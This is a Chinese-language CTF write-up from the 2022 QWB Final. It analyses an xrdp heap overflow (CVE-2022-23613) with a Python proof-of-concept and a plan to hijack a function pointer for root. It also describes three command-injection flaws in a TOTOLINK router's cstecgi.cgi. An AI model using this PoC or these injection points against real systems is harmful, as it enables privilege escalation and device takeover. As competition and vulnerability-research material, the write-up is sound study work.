前言
今年与0x300R的小伙伴参与了 2022 QWB Final , 在这次比赛中我和小伙伴们 解决了不少 RW 题目, 而我本人参与的一共有三道路由器题、一道 RDP 提权 、 一道 VPN 题目。在此我简单记述下其中的路由器题以及 RDP 题目, 而 VPN 题目涉及一些别的事情,就不方便公开。
RDP 题目要求我们攻击 XRDP 然后进行本地提权的效果 , 获取ubuntu操作系统root权限, 并在/目录成功写入内容包含队伍特征的flag文件。
程序版本:
1 2 3 4 5 6 7 8 9 root@RDP:/home/rdp/Desktop xrdp-sesman 0.9.18 The xrdp session manager Copyright (C) 2004-2020 Jay Sorg, Neutrino Labs, and all contributors. See https://github.com/neutrinolabs/xrdp for more information. Configure options:
该版本受到 CVE-2022-23613
影响
漏洞分析 补丁代码: https://github.com/neutrinolabs/xrdp/commit/4def30ab8ea445cdc06832a44c3ec40a506a0ffa
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 static int sesman_data_in(struct trans *self) { + #define HEADER_SIZE 8 int version; int size; if (self->extra_flags == 0) { in_uint32_be(self->in_s, version); in_uint32_be(self->in_s, size); - if (size > self->in_s->size) + if (size < HEADER_SIZE || size > self->in_s->size) { - LOG(LOG_LEVEL_ERROR, "sesman_data_in: bad message size"); + LOG(LOG_LEVEL_ERROR, "sesman_data_in: bad message size %d", size); return 1; } self->header_size = size; @@ -302,11 +303,12 @@ sesman_data_in(struct trans *self) return 1; } /* reset for next message */ - self->header_size = 8; + self->header_size = HEADER_SIZE; self->extra_flags = 0; init_stream(self->in_s, 0); /* Reset input stream pointers */ } return 0; + #undef HEADER_SIZE } /******************************************************************************/
通过分析补丁,我们知道
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 sesman_data_in(struct trans *self) { int version; int size; if (self->extra_flags == 0 ) { in_uint32_be(self->in_s, version); in_uint32_be(self->in_s, size); if (size > self->in_s->size) { LOG(LOG_LEVEL_ERROR, "sesman_data_in: bad message size" ); return 1 ; } self->header_size = size; self->extra_flags = 1 ; }
这里被加了检查的 size
会被赋值到 self->header_size
中, 如果我们将 size
即 self->header_size
设置成一个0x80000000
,
那么可能在 溢出点: https://github.com/neutrinolabs/xrdp/blob/934a91fc29c048acff74db911aed60ba67f9ff79/common/trans.c#L383
1 2 3 4 5 6 7 8 ```c } read_so_far = (int ) (self->in_s->end - self->in_s->data); to_read = self->header_size - read_so_far; if (to_read > 0 ) { read_bytes = self->trans_recv(self, self->in_s->end, to_read);
造成缓冲区溢出:
因此我们尝试构造如下 PoC:
1 2 3 4 5 6 7 8 9 10 11 12 import socketimport structif __name__ == "__main__" : s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("127.0.0.1" ,3350 )) sdata = b'' sdata += struct.pack("I" ,0x2222CCCC ) sdata += struct.pack(">I" ,0x80000000 ) s.send(sdata) print (sdata) sdata = b'C' *0x10000 s.send(sdata)
并在对应的地方下断点, 在调试器中可以看到:
r8d
为 self->header_size
0x80000000,
read_so_far为
0x9` ,
相减完后是个负数,在拷贝的时候会发生 heap overflow
利用思路 出题人修改了 MAX_SHORT_LIVED_CONNECTIONS
1 2 3 4 5 6 7 8 9 10 11 12 13 14 @@ -40,7 +40,7 @@ * At the moment, all connections to sesman are short-lived. This may change * in the future */ -#define MAX_SHORT_LIVED_CONNECTIONS 16 +#define MAX_SHORT_LIVED_CONNECTIONS 512 struct sesman_startup_params {
因此我们可以通过堆喷,覆盖结构体指针来达到控制 PC 的目的, 通过代码阅读,我们发现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 struct trans *trans_create (int mode , int in_size , int out_size ){ struct trans *self = (struct trans *) NULL ; self = (struct trans *) g_malloc(sizeof (struct trans), 1 ); if (self != NULL ) { make_stream(self->in_s); init_stream(self->in_s, in_size); make_stream(self->out_s); init_stream(self->out_s, out_size); self->mode = mode; self->tls = 0 ; self->trans_recv = trans_tcp_recv; self->trans_send = trans_tcp_send; self->trans_can_recv = trans_tcp_can_recv; } return self; }
我们可以通过使用 trans_create
函数来做堆喷。且分配出来的 trans *self
对象拥有函数指针,我们只需覆盖 self->trans_recv
就能控制 PC。另外程序没有开启 PIE, 且程序本身有 g_execlp3
之类的执行代码的函,题目又只要求本地提权即可,所以利用思路比较清晰。
创建多个链接,进行堆喷
溢出覆盖 self->trans_recv
为 g_execlp3
, 且控制 RDI
为我们执行的命令 (要绝对路径)
调用 self->trans_recv
执行任意命令
totox/3 题目描述: 生死竞速,本题分为三题,需要选手从三个不同路径(不同路径指从三个不同实际产生命令注入、破坏堆栈结构等内容)实现对TOTOLINK的攻击。
这其实是一个路由器题目, 主办方要求我们通过三个不同的路径攻破该路由器, 即需要使用到三个不同的漏洞。 固件版本为: X5000R_固件_V9.1.0u.6118_B20201102
通过网上查阅资料, 我们发现该款路由器拥有许多的 CVE 编号, 并且题目的这个版本是受到影响的。这里简单分析下我们用到的三个漏洞
totox/1 CVE-2021-27710 1 2 3 4 5 .data:0044A520 aSettraceroutec:.ascii "setTracerouteCfg"<0> .data:0044A531 .byte 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 .data:0044A531 .byte 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 .data:0044A531 .byte 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 .data:0044A560 .word sub_41F6A0
在cstecgi.cgi中的setTracerouteCfg
接口会调用 sub_41F6A0
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int __fastcall sub_41F7E8 (int a1) { const char *Var; int v3; int v4; char v6[128 ]; memset (v6, 0 , sizeof (v6)); Var = (const char *)websGetVar(a1, "ip" , "www.baidu.com" ); v3 = websGetVar(a1, "num" , &byte_437F70); v4 = atoi(v3); sprintf (v6, "ping %s -w %d &>/var/log/pingCheck" , Var, v4); doSystem(v6); setResponse(&word_436104, "reserv" ); return 1 ; }
此处的 ip
参数可控,存在命令注入。
totox/2 CVE-2021-27708 在cstecgi.cgi中的函数 sub_41F6A0
, 即 setTracerouteCfg
接口有如下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 { const char *Var; int v3; int v4; char v6[128 ]; memset (v6, 0 , sizeof (v6)); Var = (const char *)websGetVar(a1, "command" , "www.baidu.com" ); v3 = websGetVar(a1, "num" , &byte_437F70); v4 = atoi(v3); sprintf (v6, "traceroute -m %d %s&>/var/log/traceRouteLog" , v4, Var); doSystem(v6); setResponse(&word_436104, "reserv" ); return 1 ; }
其中 command
参数可控, 存在命令注入。
totox/3 CVE-2022-27005 在cstecgi.cgi中的 setWanCfg
接口中 , 即 sub_4212CC
函数里,有如下代码片断:
1 2 3 4 5 6 7 8 9 10 11 12 default : strcpy (v61, "dhcp" ); v48 = (const char *)websGetVar(a1, "hostName" , &byte_437F70); if ( *v48 ) { nvram_set("wan_hostname" , v48); doSystem("echo '%s' > /proc/sys/kernel/hostname" , v48); } v49 = websGetVar(a1, "dhcpMtu" , "1500" ); nvram_set("wan_mtu" , v49); break ; }
其中, hostname
可被用户控制, 存在命令注入。
参考链接 CVE-2022-23613-Patched
CVE-2021-27710 totolink command inject
CVE-2021-27008 totolink command inject
CVE-2022-27005 totolink command inject